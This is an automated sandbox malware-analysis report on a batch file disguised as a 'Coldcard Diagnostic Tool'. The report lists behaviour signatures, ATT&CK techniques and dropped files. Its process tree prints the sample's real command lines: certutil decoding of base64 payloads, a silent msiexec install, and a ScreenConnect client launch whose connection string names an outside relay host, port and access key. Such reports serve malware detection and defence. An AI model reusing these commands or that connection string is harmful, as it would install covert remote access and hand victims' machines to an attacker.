Overview

overview

8

Static

static

1

Coldcard_D...ol.bat

windows10-2004-x64

8

Coldcard_D...ol.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 09:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Coldcard_Diagnostic_Tool.bat
  • Size 24.5MB
  • Sample260804-k57jda11fv
  • SHA256 60050cc8401e26b37e9aedafaa03714981cf5fe79908ef427bbd8be43f39ecd9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarerevoked_codesignspywaretrojan

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 55 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 57 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Coldcard_Diagnostic_Tool.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3452
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3688
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:3436
      • C:\Windows\system32\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\msi.b64" "C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\setup.msi"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:4644
      • C:\Windows\system32\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\exe.b64" "C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\docusign.exe"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:4976
      • C:\Windows\system32\msiexec.exe
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\setup.msi" /quiet /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4032
      • C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\docusign.exe
        "C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\docusign.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\Temp\{91B0F975-3757-4C5A-A3C4-41C7A6FCC883}\.cr\docusign.exe
          "C:\Windows\Temp\{91B0F975-3757-4C5A-A3C4-41C7A6FCC883}\.cr\docusign.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\docusign.exe" -burn.filehandle.attached=592 -burn.filehandle.self=692
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3844
          • C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\.be\Docusign Print Driver x64.exe
            "C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{ED282C0A-78FB-47BA-A7BE-5CD304885A07} {C5AA7439-51CD-4749-99DB-58D9A0883C79} 3844
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Modifies system certificate store
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:4164
            • C:\Windows\SysWOW64\explorer.exe
              explorer "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3108
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 29652DE43819B27D35C0906C16C50EB7
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2536
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI977.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240781921 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:1600
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2D9B24FCA258ED4E63E453E5A9BB632F E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2660
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding E827306F2F4B2359A366E458BCDCE2AC C
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4040
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6EB9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240807875 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
          3⤵
          • Loads dropped DLL
          PID:1828
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D80820C4AD2B2EA2414108D13A59ED5C C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1888
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6B520F1605E63333AC7DE8D922838A07
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2684
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding BF89A969D18BD8088590850AA3869480 C
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4708
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI925E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240816812 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
          3⤵
          • Loads dropped DLL
          PID:1240
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding D18E751BE5FB9876F33CA4E0E50B902E
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        PID:4704
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2765B765BC59B72E58D3B434B5C8ABD9 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5392
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 21CE2F4654276E8836BE1D61EE31BD0A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:4580
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 3246308D422B650ABB2B7714534B9EB4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in System32 directory
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Checks SCSI registry key(s)
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:5200
      • C:\Windows\system32\NET.exe
        NET STOP SPOOLER
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5596
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 STOP SPOOLER
          3⤵
            PID:3800
        • C:\Windows\system32\NET.exe
          NET START SPOOLER
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3336
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 START SPOOLER
            3⤵
              PID:1964
          • C:\Windows\system32\rundll32.exe
            rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
            2⤵
              PID:5908
            • C:\Windows\system32\rundll32.exe
              rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
              2⤵
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              PID:5044
            • C:\Windows\syswow64\MsiExec.exe
              C:\Windows\syswow64\MsiExec.exe -Embedding F20EC504B643F641F9240619C27C4903
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:4044
            • C:\Windows\System32\MsiExec.exe
              C:\Windows\System32\MsiExec.exe -Embedding 1826D8932C7A9F00ACF5F3A9E0CC8AE1
              2⤵
              • Loads dropped DLL
              • Suspicious use of SetWindowsHookEx
              PID:6080
            • C:\Windows\syswow64\MsiExec.exe
              C:\Windows\syswow64\MsiExec.exe -Embedding 5BDD8AF9C97878D112D13B18597F5DBA E Global\MSI0000
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:3460
          • C:\Program Files (x86)\Feedback Tool\ScreenConnect.ClientService.exe
            "C:\Program Files (x86)\Feedback Tool\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=activeretirementrelocation.com&p=8041&s=7ed821b0-3b3a-48d7-8001-a8ef69f3a1fe&k=BgIAAACkAABSU0ExAAgAAAEAAQBVD%2fsvMpbtnLMuodhmsVkg8Bzu%2b1ieFyKICgewNKci%2fA1y%2bqaQgI4%2bzNBiSHQaC5AO4gE7iT51hKOsStu0jnzfjj4P%2buwNHuNH9zCBpUul8QeM%2fwg2E0aclmLyWirc479zbvdyWJTEEMZsOpKm9sQm5LMhIeoiTP0oU%2bMrBNW%2bgUyMPuVMzdyO7C8ZNRw%2fX3Co0DLYIppgPbeCMw8AVjpyEcCLOw5%2bfAaulQ2O36JB7T%2fDaOC1s1IbGD3saYm8YSv93cXW%2fRqtw4rMgfN2x9fr11JBNRyLeTWVyVPfNDAcep95R4zWy%2bbmMbAPf%2bXBk5xdVltKKFcU0QhE%2fD1WquTC"
            1⤵
            • Sets service image path in registry
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5088
            • C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsClient.exe
              "C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsClient.exe" "RunRole" "22de79c9-3a6c-449b-a3f3-f79f2ef7da58" "User"
              2⤵
              • Executes dropped EXE
              PID:4152
            • C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsClient.exe
              "C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsClient.exe" "RunRole" "5113b5bd-48ec-4b4a-b7c4-b5ec893dfd59" "System"
              2⤵
              • Executes dropped EXE
              • Checks processor information in registry
              PID:2684
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Checks SCSI registry key(s)
            PID:1228
          • C:\Windows\system32\srtasks.exe
            C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
            1⤵
              PID:3184
            • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
              "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
              1⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:252
              • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260804101226.log"
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1200
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=560 -burn.filehandle.self=580 /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260804101226.log"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2980
                  • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                    "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{9E34844B-93E6-466C-8D40-7571E4EF607E} {7AFCC562-E3C0-4ABD-98E8-D6D0A01C07E6} 2980
                    4⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Enumerates connected drives
                    • System Location Discovery: System Language Discovery
                    • Modifies registry class
                    • Suspicious use of FindShellTrayWindow
                    PID:2264
            • C:\Windows\system32\DrvInst.exe
              DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "0000000000000114" "WinSta0\Default" "0000000000000178" "208" "C:\Program Files\Docusign\Print Driver\Driver"
              1⤵
              • Manipulates Digital Signatures
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks SCSI registry key(s)
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:4232
              • C:\Windows\system32\rundll32.exe
                rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{3A08C837-CB24-4531-9240-76DDAA550080} Global\{A7771B6C-6837-426F-8583-DC1395AC78D2} C:\Windows\System32\DriverStore\Temp\{f8ddcf8c-0246-cc44-87ba-a2adda7719fd}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{f8ddcf8c-0246-cc44-87ba-a2adda7719fd}\DocuSignPrintDriver.cat
                2⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:5532
            • C:\PROGRA~1\Docusign\PRINTD~1\DocuSign.PrintDriverApplication.exe
              C:\PROGRA~1\Docusign\PRINTD~1\DOCUSI~1.EXE
              1⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:4484
            • C:\Windows\System32\spoolsv.exe
              C:\Windows\System32\spoolsv.exe
              1⤵
              • Boot or Logon Autostart Execution: Port Monitors
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks SCSI registry key(s)
              • Modifies data under HKEY_USERS
              PID:3008
            • C:\Windows\system32\DrvInst.exe
              DrvInst.exe "4" "d" "C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf" "9" "43057df13" "0000000000000114" "WinSta0\Default" "0000000000000178" "208" "C:\Windows\system32\spool\tools\Microsoft Print To PDF"
              1⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              PID:4988
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
              1⤵
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4724
              • C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3184

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  1
                  T1059

                  Windows Command Shell

                  1
                  T1059.003

                  Persistence

                  Boot or Logon Autostart Execution

                  4
                  T1547

                  Authentication Package

                  1
                  T1547.002

                  Port Monitors

                  1
                  T1547.010

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Create or Modify System Process

                  1
                  T1543

                  Windows Service

                  1
                  T1543.003

                  Event Triggered Execution

                  1
                  T1546

                  Component Object Model Hijacking

                  1
                  T1546.015

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  4
                  T1547

                  Authentication Package

                  1
                  T1547.002

                  Port Monitors

                  1
                  T1547.010

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Create or Modify System Process

                  1
                  T1543

                  Windows Service

                  1
                  T1543.003

                  Event Triggered Execution

                  1
                  T1546

                  Component Object Model Hijacking

                  1
                  T1546.015

                  Defense Evasion

                  Deobfuscate/Decode Files or Information

                  1
                  T1140

                  Modify Registry

                  4
                  T1112

                  Subvert Trust Controls

                  2
                  T1553

                  Install Root Certificate

                  1
                  T1553.004

                  SIP and Trust Provider Hijacking

                  1
                  T1553.003

                  Credential Access

                  Discovery

                  Peripheral Device Discovery

                  2
                  T1120

                  Query Registry

                  5
                  T1012

                  System Information Discovery

                  4
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  Lateral Movement

                  Collection

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  e5a06f9.rbs
                  • Path C:\Config.Msi\e5a06f9.rbs
                  • Size 213KB
                  • SHA256 7b82b553ea2e9750f424e21ca93df16b83b6d282cb0d2ca9187c636b503f63d4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  e5a06fc.rbs
                  • Path C:\Config.Msi\e5a06fc.rbs
                  • Size 710KB
                  • SHA256 e61d8baf5a598f71cb87b72bf299574480efe87c7a3471ca3d7d65971dfd0f01
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  e5a06fe.rbs
                  • Path C:\Config.Msi\e5a06fe.rbs
                  • Size 5KB
                  • SHA256 6225e9011a79edf22c777ed3c43d2f3572d4a545449b7ca5333c8280d5316fb4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Client.Override.en-US.resources
                  • Path C:\Program Files (x86)\Feedback Tool\Client.Override.en-US.resources
                  • Size 368B
                  • SHA256 b3f0ca4ad4a60a92763f1fdb0dfc7a9371c499b702db48588d415d92b9c3625b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  Client.Override.resources
                  • Path C:\Program Files (x86)\Feedback Tool\Client.Override.resources
                  • Size 54KB
                  • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Client.en-US.resources
                  • Path C:\Program Files (x86)\Feedback Tool\Client.en-US.resources
                  • Size 47KB
                  • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Client.resources
                  • Path C:\Program Files (x86)\Feedback Tool\Client.resources
                  • Size 26KB
                  • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.Client.dll
                  • Path C:\Program Files (x86)\Feedback Tool\ScreenConnect.Client.dll
                  • Size 192KB
                  • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.ClientService.dll
                  • Path C:\Program Files (x86)\Feedback Tool\ScreenConnect.ClientService.dll
                  • Size 67KB
                  • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.ClientService.exe
                  • Path C:\Program Files (x86)\Feedback Tool\ScreenConnect.ClientService.exe
                  • Size 93KB
                  • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.WindowsAuthenticationPackage.dll
                  • Path C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsAuthenticationPackage.dll
                  • Size 254KB
                  • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.WindowsClient.exe
                  • Path C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsClient.exe
                  • Size 595KB
                  • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.WindowsClient.exe.config
                  • Path C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsClient.exe.config
                  • Size 266B
                  • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  ScreenConnect.WindowsCredentialProvider.dll
                  • Path C:\Program Files (x86)\Feedback Tool\ScreenConnect.WindowsCredentialProvider.dll
                  • Size 837KB
                  • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  app.config
                  • Path C:\Program Files (x86)\Feedback Tool\app.config
                  • Size 2KB
                  • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  system.config
                  • Path C:\Program Files (x86)\Feedback Tool\system.config
                  • Size 968B
                  • SHA256 9626301270a2f634a73943279b050e020cf098358d33c85f3352a597cce6b1ab
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  docusign.exe
                  • Path C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\docusign.exe
                  • Size 5.4MB
                  • SHA256 7ad243cd358d916e029ba8ff9a616dfdcab29b594a9ebf08a66a1c4bd63fb7e2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  exe.b64
                  • Path C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\exe.b64
                  • Size 7.1MB
                  • SHA256 59c4ec379d23edecd8a48c6ef76ee103a7696ffcfd36a10b91af32540e2fffd5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  msi.b64
                  • Path C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\msi.b64
                  • Size 17.3MB
                  • SHA256 52ea5a0baca8c9cf305f082b62d9031d67cf5d523920748660efe96513e06423
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  setup.msi
                  • Path C:\Users\Admin\AppData\Local\Temp\FTni6f_31121\setup.msi
                  • Size 13.0MB
                  • SHA256 5f0dc835d9e37318f862c64db85cc094059bb5404a1c1752facdfd16a784570a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  CustomAction.config
                  • Path C:\Users\Admin\AppData\Local\Temp\MSI925E.tmp-\CustomAction.config
                  • Size 1KB
                  • SHA256 33d947c04a10e3aff3dca3b779393fa56ce5f02251c8cbae5076a125fdea081f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  DocuSign.Installer.CustomActions.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\MSI925E.tmp-\DocuSign.Installer.CustomActions.dll
                  • Size 10KB
                  • SHA256 0c9639fed56eaa486b2c5e0be4b2b56352e95fc7329d7fa4a00580b06bd01ba6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Microsoft.Deployment.WindowsInstaller.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\MSI925E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                  • Size 179KB
                  • SHA256 cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  MSI9349.tmp
                  • Path C:\Users\Admin\AppData\Local\Temp\MSI9349.tmp
                  • Size 211KB
                  • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  MSI977.tmp
                  • Path C:\Windows\Installer\MSI977.tmp
                  • Size 1.0MB
                  • SHA256 9bfbf6e2a69c153f246d9b4b5670f824b9b05eb04ec261c6b218b53cb8c3e184
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Microsoft.Deployment.WindowsInstaller.dll
                  • Path C:\Windows\Installer\MSI977.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                  • Size 172KB
                  • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.Core.dll
                  • Path C:\Windows\Installer\MSI977.tmp-\ScreenConnect.Core.dll
                  • Size 539KB
                  • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.InstallerActions.dll
                  • Path C:\Windows\Installer\MSI977.tmp-\ScreenConnect.InstallerActions.dll
                  • Size 11KB
                  • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ScreenConnect.Windows.dll
